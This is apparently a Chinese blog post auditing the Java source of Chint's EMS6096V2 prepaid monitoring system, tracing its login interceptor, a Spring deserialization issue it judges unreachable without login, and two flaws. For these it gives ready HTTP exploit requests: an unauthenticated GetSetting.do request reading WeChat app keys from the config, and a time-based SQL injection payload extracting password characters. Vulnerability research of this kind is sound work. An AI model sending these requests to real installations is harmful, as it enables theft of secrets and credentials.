正泰预付费(EMS6096V2) - 代码审计
一、基本信息
系统名称: 浙江正泰仪器仪表有限责任公司-预付费监控运营中心V2
开发语言: java
二、代码审计
路由和全局过滤
在 web.xml 下找到了 全局过滤处理方法
<!-- Spring MVC Servlet -->
<servlet>
<servlet-name>Spring-Servlet</servlet-name>
<servlet-class> org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>
classpath:spring-*.xml
</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>Spring-Servlet</servlet-name>
<url-pattern>*.do</url-pattern>
</servlet-mapping>全局接口以 .do 结尾。跟进 它实现的 servlet-class 在 org/springframework/web/servlet/DispatcherServlet.java 的 doDispatch 找到了鉴权的具体实现。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
ModelAndView mv;
HttpServletRequest processedRequest = request;
HandlerExecutionChain mappedHandler = null;
int interceptorIndex = -1;
....
if (interceptors != null) {
for (int i = 0; i < interceptors.length; i++) {
HandlerInterceptor interceptor = interceptors[i];
if (!interceptor.preHandle(processedRequest, response, mappedHandler.getHandler())) {
.........
}关键点在 interceptor.preHandle,跟进。是个接口要找到他具体的实现类。

这里已经很清楚了
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
HandlerMethod method = (HandlerMethod) handler;
Auth auth = (Auth) method.getMethod().getAnnotation(Auth.class);
if (auth == null || auth.verifyLogin()) {
String baseUri = request.getContextPath();
request.getServletPath();
SysTbluser user = SessionUtils.getUser(request);
if (user == null) {
response.sendRedirect(String.valueOf(baseUri) + "/login.shtml");
return false;
}
}
return super.preHandle(request, response, handler);
}通过 session 获取 user 信息,如果为空那么直接跳转到登录页面。下面继续我们的重点,不再过多阐述。
1. 配置信息泄露
@RequestMapping({"/GetSetting"})
@Auth(verifyLogin = false, verifyURL = false)
public void GetSetting(String OptionName, HttpServletResponse response) throws Exception {
Object szValue = EMSConfiguration.getParameterValue(OptionName);
Map<String, Object> result = new HashMap<>();
result.put("value", szValue);
HtmlUtil.writerJson(response, result);
}关键代码如上,设置 Auth=false 不需要认证即可访问这个接口。 获取一个 OptionName 参数,跟进 getParameterValue。
public static String getParameterValue(String parameterName) {
return props.getProperty(parameterName);
}具体实现如上,通过传递的键获取全局静态配置的值。全部代码如下:
package ems.base.util;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.Properties;
import java.util.logging.Logger;
public class EMSConfiguration {
private static Logger logger = Logger.getLogger(EMSConfiguration.class.getName());
public static String Save_Image_Path = "E:/EMS6030/images/";
public static Integer Maximum_Fraction_Digits = 2;
private static Properties props;
static {
loadProperties();
}
public static void loadProperties() throws IOException {
props = new Properties();
try {
props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8"));
Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path);
Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits)));
} catch (FileNotFoundException e) {
logger.info("Properties file not FOUND");
} catch (IOException e2) {
logger.info("IOException: Properties file not FOUND");
} catch (NullPointerException e3) {
logger.info("NullPointer: Properties file not FOUND");
}
}
public static String getParameterValue(String parameterName) {
return props.getProperty(parameterName);
}
public static void main(String[] args) {
System.out.println(getParameterValue("Maximum_Fraction_Digits"));
}
}首先 static { loadProperties();} 作为静态代码块,他被加载到 jvm 时会被执行一次,也就是说getParameterValue 它在被调用之前就会触发一次 loadProperties 自动加载配置文件。
初始化:
props = new Properties();可以看到 它通过 UTF-8 编码方式以字节流读取到了 config.properties 配置文件。
props.load(new InputStreamReader(EMSConfiguration.class.getClassLoader().getResourceAsStream("config.properties"), "UTF-8"));
Save_Image_Path = props.getProperty("Save_Image_Path", Save_Image_Path);
Maximum_Fraction_Digits = Integer.valueOf(props.getProperty("RESOURCEPACKAGE", String.valueOf(Maximum_Fraction_Digits)));并设置默认值,读取 Save_Image_Path 如果不存在则默认为 Save_Image_Path 值。 第二个获取 RESOURCEPACKAGE 的值如果不存在也是同样使用默认值,并转换为 整数型。
那么通过加载之后,可以通过 getParameterValue 指定方法获取 config.properties 的数据。读取配置信息。
构造EXP:
GET /EMS6096V2/GetSetting.do?OptionName=wx_APPID HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

GET /EMS6096V2/GetSetting.do?OptionName=wx_PATERNER_KEY HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36

2. SQL注入
系统依赖使用了 Mybatis 全局搜索 ${ 关键字 (即存在注入点)的语法。发现 BaseTbltimebucketMapper.xml 下的 checkUnique。
<select id="checkUnique" resultType="java.lang.Integer" parameterType="Object">
select count(1) from sys_tbluser
where ${paramName}='${paramValue}'
</select>再次全局查找 checkUnique。在 com/base/service/BaseService.java 抽象类里找到
public int checkUnique(String paramName, String paramValue) throws Exception {
Map<String, String> paramMap = new HashMap<>();
paramMap.put("paramName", paramName);
paramMap.put("paramValue", paramValue);
return getDao().checkUnique(paramMap);
}他是 int 类型,传递的参数 都为 String 符合预期,将参数传递到 HashMap 里,调用 checkUnique 进行SQL查询。
Find use 一下 checkUnique 找到了一处调用。

@RequestMapping({"/checkUnique"})
public void checkUnique(String paramName, String paramValue, HttpServletResponse response) {
String result = BaseAction.SUCCESS;
try {
Integer count = Integer.valueOf(this.sysTbluserService.checkUnique(paramName, paramValue));
log.info("count:" + count + "paramName:" + paramName + "paramValue:" + paramValue);
if (count != null) {
if (count.intValue() > 0) {
result = "fail";
}
}
} catch (Exception e) {
e.printStackTrace();
log.error(e);
}
HtmlUtil.writerHtml(response, result);
}通过接口发现 它是需要登录的,我们没环境无法登录;现在这个漏洞大概率是存在的,但无从考证 。
首先,传递过来的参数(paramName, paramName) 都是 String 类型。 并直接传递到了 checkUnique 接口方法里,并没有进行过滤,Mybatis 的处理也调用了 ${} 基本大概率是可以 SQL注入的,基于 布尔类型。
理论EXP:
GET /EMS6096V2/sysTbluser/checkUnique.do?paramName=aa¶mValue=1%27+OR+%28SELECT+IF%28SUBSTR%28password%2C1%2C1%29%3D%27a%27%2C+SLEEP%285%29%2C0%29%29+--+%2B HTTP/1.1
Host: HOST
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
3. 反序列化
突然发现 他的 spring-boot 版本有点低,存在漏洞 org.springframework.web.servlet-3.1.1.RELEASE.jar 最简单的 RCE 漏洞 CVE-2016-1000027 触发反序列化。
很简单的调用流程


ReadObject 作为触发的矛头,跟进查找是哪里调用了 doReadRemoteInvocation。

一整个链在这,循环调用。一直到 handleRequest 传递进来的 请求直接赋值给 readRemoteInvocation。跟进 handleRequest。
@Override // org.springframework.web.servlet.HandlerAdapter
public ModelAndView handle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
((HttpRequestHandler) handler).handleRequest(request, response);
return null;
}再次跟进就到了这里

在全局过滤里,说到认证鉴权的部分;判断访问时时候登录,如果没登陆则步入 triggerAfterCompletion。他是无法走到 ha.handle 的,从而无法触发反序列化。
具体流程(AI生成)

评论 (0)